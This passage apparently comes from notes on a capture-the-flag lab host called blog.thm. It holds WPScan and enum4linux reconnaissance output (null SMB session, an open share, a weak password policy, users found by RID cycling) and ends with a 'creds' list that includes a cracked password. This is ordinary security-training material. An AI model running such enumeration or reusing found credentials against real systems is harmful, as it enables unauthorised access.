 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10268
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122

[+] WordPress theme in use: twentytwenty
 | Location: http://blog.thm/wp-content/themes/twentytwenty/
 | Last Updated: 2020-06-10T00:00:00.000Z
 | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:10
<===============================================================================
(21 / 21) 100.00% Time: 00:00:10

[i] No Config Backups Found.

[+] WPVulnDB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 48

[+] Finished: Wed Jul 15 12:02:23 2020
[+] Requests Done: 27
[+] Cached Requests: 34
[+] Data Sent: 5.768 KB
[+] Data Received: 46.516 KB
```

enum4linux

```
taj702@kali:~$ enum4linux -a 10.10.246.241
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jul 15 16:22:05 2020

 ==========================
|    Target Information    |
 ==========================
Target ........... 10.10.246.241
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =====================================================
|    Enumerating Workgroup/Domain on 10.10.246.241    |
 =====================================================
[+] Got domain/workgroup name: WORKGROUP

 =============================================
|    Nbtstat Information for 10.10.246.241    |
 =============================================
Looking up status of 10.10.246.241
        BLOG            <00> -         B <ACTIVE>  Workstation Service
        BLOG            <03> -         B <ACTIVE>  Messenger Service
        BLOG            <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ======================================
|    Session Check on 10.10.246.241    |
 ======================================
[+] Server 10.10.246.241 allows sessions using username '', password ''

 ============================================
|    Getting domain SID for 10.10.246.241    |
 ============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 =======================================
|    OS information on 10.10.246.241    |
 =======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.246.241 from smbclient:
[+] Got OS info for 10.10.246.241 from srvinfo:
        BLOG           Wk Sv PrQ Unx NT SNT blog server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

 ==============================
|    Users on 10.10.246.241    |
 ==============================
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.

Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.

 ==========================================
|    Share Enumeration on 10.10.246.241    |
 ==========================================

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.246.241
//10.10.246.241/print$  Mapping: DENIED, Listing: N/A
//10.10.246.241/BillySMB        Mapping: OK, Listing: OK
//10.10.246.241/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

 =====================================================
|    Password Policy Information for 10.10.246.241    |
 =====================================================


[+] Attaching to 10.10.246.241 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] BLOG
        [+] Builtin

[+] Password Info for Domain: BLOG

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes


[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5


 ===============================
|    Groups on 10.10.246.241    |
 ===============================

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:
```

```
[+] Getting domain groups:

[+] Getting domain group memberships:


==================================================================================
|    Users on 10.10.246.241 via RID cycling (RIDS: 500-550,1000-1050)    |

==================================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-3132497411-2525593288-1635041108
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-3132497411-2525593288-1635041108 and logon username '', password ''
S-1-5-21-3132497411-2525593288-1635041108-500 *unknown*\*unknown* (8)
S-1-5-21-3132497411-2525593288-1635041108-501 BLOG\nobody (Local User)
S-1-5-21-3132497411-2525593288-1635041108-513 BLOG\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\bjoel (Local User)
S-1-22-1-1001 Unix User\smb (Local User)
```

robots.txt

```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
```

creds

```
bjoel
kwheel:cutiepie1
```